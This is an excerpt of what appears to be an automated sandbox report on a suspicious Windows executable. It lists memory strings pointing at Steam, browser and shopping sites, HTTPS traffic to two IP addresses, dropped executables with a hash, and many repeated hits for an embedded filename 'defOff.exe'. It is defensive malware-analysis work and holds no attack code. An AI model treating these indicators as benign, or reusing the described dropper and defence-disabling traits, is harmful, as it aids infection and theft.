Source: 20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: 20yLTIU4mS.exe, 00000000.00000003.2214033634.0000000005A14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 20yLTIU4mS.exe, 00000000.00000003.2214033634.0000000005A14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 20yLTIU4mS.exe	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071
Source: 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2242500446.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: 20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2242500446.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electr
Source: 20yLTIU4mS.exe, 00000000.00000003.2168879834.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168728951.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168663245.000000000559D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 20yLTIU4mS.exe, 00000000.00000003.2168879834.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168728951.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168663245.000000000559D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 20yLTIU4mS.exe, 00000000.00000003.2214033634.0000000005A14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: 20yLTIU4mS.exe, 00000000.00000003.2214033634.0000000005A14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: 20yLTIU4mS.exe, 00000000.00000003.2214033634.0000000005A14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 20yLTIU4mS.exe, 00000000.00000003.2214033634.0000000005A14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 20yLTIU4mS.exe, 00000000.00000003.2214033634.0000000005A14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: 20yLTIU4mS.exe, 00000000.00000003.2214033634.0000000005A14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.5:49733 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: 20yLTIU4mS.exe	Static PE information: section name:
Source: 20yLTIU4mS.exe	Static PE information: section name: .idata
Source: 20yLTIU4mS.exe	Static PE information: section name:
Source: ARULVP7S24STX85EO46I8EXOL.exe.0.dr	Static PE information: section name:
Source: ARULVP7S24STX85EO46I8EXOL.exe.0.dr	Static PE information: section name: .idata
Source: VVRXVZ2T118YVIGZN2.exe.0.dr	Static PE information: section name:
Source: VVRXVZ2T118YVIGZN2.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DD78E1	0_3_00DD78E1
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DD7883	0_3_00DD7883
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_00DDBD3F	0_3_00DDBD3F
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_05561945	0_3_05561945
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_05561945	0_3_05561945
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_05561945	0_3_05561945
Source: C:\Users\user\Desktop\20yLTIU4mS.exe	Code function: 0_3_05561945	0_3_05561945
Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Code function: 3_2_0049E2EE	3_2_0049E2EE

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe 2C2BE79B1436A951AC0837E50A624FDDC1B2C704C4E1F95F9E0279639F726EDC

Source: 20yLTIU4mS.exe, 00000000.00000003.2355101299.00000000059F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2377435647.0000000005CD7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2358071901.0000000005C4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2356966822.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2374414011.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2361862357.0000000005C69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2375014799.0000000005CCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2367646808.0000000005B9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2353910681.00000000058F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2373545115.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2383098872.0000000005B9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2359532356.0000000005B96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2361011970.0000000005B9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2377852253.0000000005BA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2361151050.0000000005C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2368402902.0000000005C7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2375475400.0000000005CCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2354198364.00000000058F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2362076186.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2375795333.0000000005E0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2371766390.0000000005DD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2371450552.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2371294141.0000000005CB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2371971522.0000000005BA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2360850935.0000000005C66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2357775536.0000000005CEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2377247743.0000000005B9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2372757346.0000000005CBA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2356482751.0000000005C40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2374586269.0000000005E03000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2369237187.0000000005C9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2359254183.0000000005D0E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2353910681.0000000005880000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2376811692.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2358314288.0000000005C54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2378530410.0000000005CED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2355295990.0000000005B9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2354198364.000000000596D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2369971232.0000000005BA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2353910681.000000000580B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2373392322.0000000005CBD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2359691492.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2356346701.0000000005B97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2361703260.0000000005B98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2379099149.0000000005CF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2354729954.0000000005A00000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2361379979.0000000005B98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2375247403.0000000005B97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2355776846.00000000059F6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2367477953.0000000005C82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2370269492.0000000005BA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2368678958.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2381956500.00000000055E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2367157866.0000000005D54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2370427020.0000000005CAD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2358195234.0000000005BA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2367816866.0000000005C79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2369088866.0000000005BA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2359872132.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2356138754.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2358493938.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2357919432.0000000005B98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2360456875.0000000005D2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2367321014.0000000005BA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2354954321.0000000005B9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2378045034.0000000005CEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2370764141.0000000005C9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2382269303.0000000000E14000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2374205429.0000000005BA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2368814440.0000000005C87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2366773620.0000000005B98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2377015465.0000000005CD6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2368164165.0000000005B98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2360687929.0000000005B9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2357641068.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2382215198.000000000561E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2368952805.0000000005D85000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2360045819.0000000005C63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2381956500.00000000055AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2378224771.0000000005B99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2369822735.0000000005D86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2357437388.0000000005B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2368539927.0000000005D6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2370590539.0000000005B97000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2373083785.0000000005B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2375983386.0000000005BA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2356774694.0000000005B9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2373695831.0000000005B9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2378802879.0000000005B98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2371624520.0000000005CB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2372451603.0000000005BA0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2358989854.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2355982101.0000000005B9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2370940615.0000000005DAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2366993551.0000000005C70000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2374791271.0000000005B9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2367991905.0000000005D5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2374006032.0000000005DF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2372254269.0000000005CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs 20yLTIU4mS.exe
